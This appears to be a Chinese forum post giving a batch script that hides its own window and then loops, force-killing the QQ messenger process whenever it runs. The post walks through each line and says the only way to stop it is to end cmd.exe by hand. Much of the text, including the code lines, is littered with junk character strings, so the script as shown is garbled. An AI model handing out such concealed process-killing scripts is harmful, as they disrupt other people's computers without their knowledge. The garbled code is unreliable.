|
|
|
功能:运行以后机器上的QQ就不能运行了。终结方法是:打开任务管理器,然后结束进程cmd.exe就可以了。 : K, ~' S: R) ~- `
新建文本文档,然后将下面代码复制进去,然后重命名为a.bat,然后双击就可以了。 : |) V5 H( y8 `4 O" r, k) F' C, U
) g: y& \5 ~1 r@echo off ' k. w/ Y/ G+ f- ^% v, p
if "%1" == "h" goto begin
& p3 X: Z8 R$ tmshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
& ~7 p# j' v3 Y- [" q$ Y: t* G:begin " k3 _. _4 @7 M$ {& K5 V' ?7 T+ ^
tasklist |find /i "QQ.exe" ! _$ a: r- E" t" H% h" e* X2 [0 T
if %errorlevel%==0 (goto killit) else (goto next)
' y5 m) g0 o0 M7 e:killit . H1 i H3 `9 w6 [( C7 K
taskkill /f /im QQ.exe # d1 h9 Z) @6 ?' X8 b
:next 3 y% N# |& B4 i9 ~
ping -n 3 127.t >nul 2>nul 7 y1 p" P' B: D2 N
goto begin
/ j, _0 c7 T# S# u& ?
/ W3 m! E$ D" \) q7 U- H6 A" @代码到此为止
- k9 c! |# P/ z讲解如下: ! m4 x0 T+ O6 ?7 B5 ]$ G
@echo off ------关闭回显 6 ?6 C0 E n6 i' Z+ g
if "%1" == "h" goto begin --如果文件运行时有参数h,则显示窗口运行,否则只是在后台运行
/ a h+ n% [# ^ F/ S+ amshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit -----隐藏窗口代码 % w# T1 Z. H3 I. [2 p& x3 ]
:begin ------------定一段名begin
2 r" y u; p* ?; Ntasklist |find /i "QQ.exe" ----在任务管理器里寻找进程QQ.exe
: ~) }# ]! F$ N+ i5 J3 [' Aif %errorlevel%==0 (goto killit) else (goto next)---如果存在QQ.exe.则跳转执行killit,否则执行next
* N+ [! k2 [+ m# D4 ^8 D:killit ) Y9 l3 z! D3 w0 g( S
taskkill /f /im QQ.exe----终结进程QQ.exe ; M7 p9 {" c" D0 p2 j
:next 9 P* W9 [$ }6 d, z
ping -n 3 127.t >nul 2>nul -----延迟一段时间
2 Y1 u+ ?1 N v8 O* o+ `( T) u. a1 jgoto begin--------------返回执行begin
: V2 {" F4 f+ y" P |
|